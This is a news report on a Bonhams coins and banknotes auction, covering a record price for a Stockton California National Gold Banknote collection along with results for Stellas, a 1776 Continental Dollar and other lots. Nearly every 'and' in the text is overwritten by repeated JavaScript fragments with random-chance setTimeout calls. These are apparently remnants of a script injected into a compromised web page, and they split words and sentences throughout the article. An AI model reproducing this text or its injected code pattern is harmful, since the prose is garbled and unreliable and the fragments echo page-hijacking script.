LOS ANGELES, CALIF. — Bonhams’ coins andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and banknotes auction August 31 brought in a robust $1.6 million in total sales with 97 percent of lots sold. The standom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andout of the sale was a newly discovered Stockton California National Banknote collection that led the auction at $339,300, including the buyer’s premium. The collection, comprising five banknotes, made nearly three times its low estimate andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and featured this Series 1873 $10 gold banknote (shown here) with serial number 1.

The example is particularly noteworthy as the extended margin at the top reveals it to be the first note printed on the sheet as well as the first note issued by the First National Gold Bank of Stockton California. Fierce bidding for the collection erupted andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and ultimately went to an auction room bidder. To Bonhams’ knowledge, this is a record for this type of large size gold banknote ever at auction.

The gold banknote relates to the California Gold Rush of 1848 andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and is considered one of the most romantic of all currency issues. National Gold Banknotes of California are easily associated with gold because the paper on which they are printed on is a yellow-gold color.

Of the coins section in the auction, the $4 flowing hair andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and coiled hair :Stellas” fetched strong prices. An 1879 flowing hair $4 proof 62 PCGS sold for $117,000 andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and is the most available of the four known varieties of Stellas. Another 1879 $4 flowing hair Stella proof 45 PCGS realized $72,540. Three of the more rare andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and highly sought after “gilt copper” varieties of Stellas were an 1879 $4 coiled hair Stella andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and an 1880 $4 coiled hair Stella  that each brought in $72,540, well over the $30/40,000 estimate, andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and an 1880 “gilt copper” $4 flowing hair Stella that also outperformed its estimate to fetch $56,160.

Other top highlights in the sale include a 1776 Continental Dollar for $70,200, an 1818 Texas 1/2 Real Jola at $46,800, a Russia, Peter I the Great, gold medal of the “Capture of Four Swedish Frigates Near Grengam Islandom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and, dated July 27, 1720,” that took $40,950, andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and an 1836 Gobrecht $1 original proof 63 at $35,100.

Paul Song, Bonhams’ director of coins andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and banknotes, said, “We are delighted with the results this holiday weekend in our sale of rare coins andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and banknotes. Despite the recent softness in the price of gold, the prices of virtually all categories of US gold coins was the strongest in recent memory… The fact that most of the material came from several ‘old time’ collections andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and were completely fresh to the market made many of the prices that much more exceptional.”

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